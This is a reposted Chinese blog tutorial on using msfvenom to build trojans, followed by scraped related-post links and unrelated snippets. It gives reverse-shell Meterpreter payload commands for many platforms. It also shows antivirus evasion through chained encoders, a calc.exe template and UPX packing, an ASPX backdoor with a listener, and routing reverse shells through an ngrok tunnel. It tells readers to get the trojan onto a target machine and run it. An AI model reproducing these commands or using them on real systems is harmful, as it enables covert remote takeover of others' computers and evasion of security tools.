msfvenom命令行选项如下:

英文原版:

中文版:


Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构,这里x86是32位,x64是64位 -platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行 --payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项 --help-formats 查看msf支持的输出格式列表

这里举出一些利用msfvenom生成shell的命令:

Linux:


msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

PHP:


msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP:


msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

Python:


msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash:


msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:


msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

以上是基本的生成后门木马,只要想方设法放到目标机器上,并运行。在本地监听端口即可,但是你需要有一个公网的ip

下面来探究一下如何免杀:

1.可以尝试多重编码:


msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On> -e x86/shikata_ga_nai -i 20 -f raw | msfvenom -e x86/alpha_upper -a x86 --platform windows -i 5 -f raw | msfvenom -e x86/shikata_ga_nai -a x86 --platform windows -i 10 -f raw | msfvenom -e x86/countdown -a x86 --platform windows -i 10 -x calc.exe -f exe -o shell.exe

这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以calc.exe为模板的可执行文件。

2.对上述生成的木马进行upx加壳


upx shell.exe

不过现在的杀毒软件越来越nb,一般免杀也已经不好过...

于12.23日更新:

推荐一本书<<Web 安全攻防(渗透测试实战指南)>>上面介绍了Aspx Meterpreter 后门:

主要介绍的是Metasploit下名为shell_reverse_tcp的Payload,利用这个模块可以创建具有Meterpreter功能的各版本的Shellcode,例如比较常见的Asp,Aspx,msi,vbs,war等等

下面以Aspx为例:

1
2
3
4
5
6
show payloads
use windows/shell_reverse_tcp
info
set lhost 192.168.0.133
set lport 4444
save

接着输入generate -h 查看帮助:

各版本ShellCode的命令如下:


generate -t asp //生成Asp版的ShellCode generate -t aspx //生成Aspx版的ShellCode

把生成的木马放在c:/inetpub/wwwroot下,访问。同时在msf中设置监听:

1
2
3
4
5
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.133
set lport 4444
run

----------------------------------------------

2019.10.15补充:

parrot使用ngrok+msfvenom穿透反弹shell

攻击机parrot ip:192.168.127.131

目标机器windows ip :192.168.43.27

首先两台机器不在一个网端,自然是无法ping通:

这里模仿目标机器在公网

攻击机器在内网,攻击机器怎样通过ngrok代理来接受弹回来的shell

1.在ngrok官网注册账号,并开通免费账号

官网地址:http://www.ngrok.cc

创建成功后:

2.下载ngrok客户端

https://www.ngrok.cc/download.html

我这里使用的是parrot。所以选择linux版本

文件解压后得到:sunny

3.启动sunny,开启转发


./sunny clientid 隧道id

4.配置木马来反弹shell


msfvenom -p windows/meterpreter/reverse_tcp LHOST=free.idcfengye.com LPORT=14001 -f exe -o ./test.exe

其中LHOST,LPORT均为ngrok代理服务器地址与端口

5.攻击机本地msf监听


use exploit/multi/handle set payload windows/meterpreter/reverse_tcp set lhost 192.168.127.131 set lport 9876 run

6.目标机器执行木马

可以看到,shell已经反弹成功

转载至:https://www.cnblogs.com/bmjoker/p/10051014.html 侵删

利用msfvenom生成木马的更多相关文章

  1. 9.利用msfvenom生成木马

    这篇文章来介绍一下msf中一个生成木马的msfvenom模块. msfvenom命令行选项如下: 英文原版: 中文版: Options: -p, --payload <payload> 指 ...

  2. 转: kali msfvenom生成木马

    kali msfvenom生成木马 转:https://blog.csdn.net/qq_33391644/article/details/79266724 msfvenom是msfpayload,m ...

  3. metasploit、msfvenom生成木马入侵电脑及手机

    简介 msfvenom msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and ...

  4. 使用msfvenom生成木马

    msfvenom Options: -p, --payload < payload> 指定需要使用的payload(攻击荷载).如果需要使用自定义的payload,请使用& #03 ...

  5. 利用msfvenom制作木马程序(你可以得到她的一切)

    实验环境: 虚拟机:kali  (攻击机)          192.168.1.2 虚拟机:windwos 2003 (靶机)   192.168.1.100 1. 制作木马 说明: -p payl ...

  6. Kali环境使用Metasploit生成木马入侵安卓手机

    Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报.这些功能包括智能开发,代码审计, ...

  7. 使用Kali中的Metasploit生成木马控制Windows系统 (第九天 9.20)

    本文转自:https://www.cnblogs.com/yankaohaitaiwei/p/11556921.html 一.kali及Metasploit kali基于debin的数字取证系统,上面 ...

  8. 使用Kali中的Metasploit生成木马控制Windows系统

    一.概念:Kali基于debin的数字取证系统,上面集成了很多渗透测试工具,其前身是BT5 R3(BtackTrack). 其中Metasploit是一个综合利用工具,极大的提高了攻击者的渗透效率,使 ...

  9. msf生成木马

    Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...

  10. Metasploit生成木马入侵安卓手机

    开始 首先你需要一个Metasploit(废话) Linux: sudo apt install metasploit-framework Termux: 看这里 指令 sudo su //生成木马文 ...

随机推荐

  1. Golang常用语法糖

    1.名字由来 语法糖(Syntactic sugar)的概念是由英国计算机科学家彼得·兰丁提出的,用于表示编程语言中的某种类型的语法,这些语法不会影响功能,但使用起来却很方便.语法糖,也称糖语法,这些 ...

  2. 2023-01-02:某天,小美在玩一款游戏,游戏开始时,有n台机器, 每台机器都有一个能量水平,分别为a1、a2、…、an, 小美每次操作可以选其中的一台机器,假设选的是第i台, 那小美可以将其变成

    2023-01-02:某天,小美在玩一款游戏,游戏开始时,有n台机器, 每台机器都有一个能量水平,分别为a1.a2.-.an, 小美每次操作可以选其中的一台机器,假设选的是第i台, 那小美可以将其变成 ...

  3. 2022-07-09:总长度为n的数组中,所有长度为k的子序列里,有多少子序列的和为偶数?

    2022-07-09:总长度为n的数组中,所有长度为k的子序列里,有多少子序列的和为偶数? 答案2022-07-09: 方法一:递归,要i还是不要i. 方法二:动态规划.需要两张dp表. 代码用rus ...

  4. 2021-11-21:map[i][j] == 0,代表(i,j)是海洋,渡过的话代价是2, map[i][j] == 1,代表(i,j)是陆地,渡过的话代价是1, map[i][j] == 2,代表

    2021-11-21:map[i][j] == 0,代表(i,j)是海洋,渡过的话代价是2, map[i][j] == 1,代表(i,j)是陆地,渡过的话代价是1, map[i][j] == 2,代表 ...

  5. python通过变量名称的反射,获取变量的引用

    有一些极端情况下,例如变量名称是动态的,我们无法直接调用变量名,如何获取到变量的引用呢? aa = [globals()["xxxx"]]

  6. props传值遇Cannot read property getAttribute of undefined异常

    今有一个echarts 图标的子组件使用watch 监听接受父组件传入的data,而在父组件页面再次根据日期筛选数据,重新传入子组件进行图表重绘时老实会提示报错 vue.runtime.esm.js? ...

  7. Java的Atomic原子类

    Java SDK 并发包里提供了丰富的原子类,我们可以将其分为五个类别,这五个类别提供的方法基本上是相似的,并且每个类别都有若干原子类. 对基本数据类型的变量值进行原子更新: 对对象变量的指向进行原子 ...

  8. 快速上手kettle(三)壶中可以放些啥?

    目录 序言 一 .kettle这壶能装些啥 二.Access输入 2.1 准备Acess数据库和表 2.2 新建一个转换并设置 2.3 启动转换预览数据 三.CSV文件输入 3.1 准备csv文件,并 ...

  9. VS2017登录账户提示升级Edge浏览器的问题

    在win7系统登录VS2017账号总是提示要升级浏览器的问题,这里给大家提供一个解决办法,也是困扰我很久的问题.遇到这中问题,我们可以在VS工具->选项->账户,然后勾选在添加账户或对账户 ...

  10. ELK8.8部署安装并配置xpark认证

    ELK8.8部署安装并配置xpark认证 介绍   主要记录下filebeat+logstash+elasticsearch+kibana抽取过滤存储展示应用日志文件的方式:版本基于8.8,并开启xp ...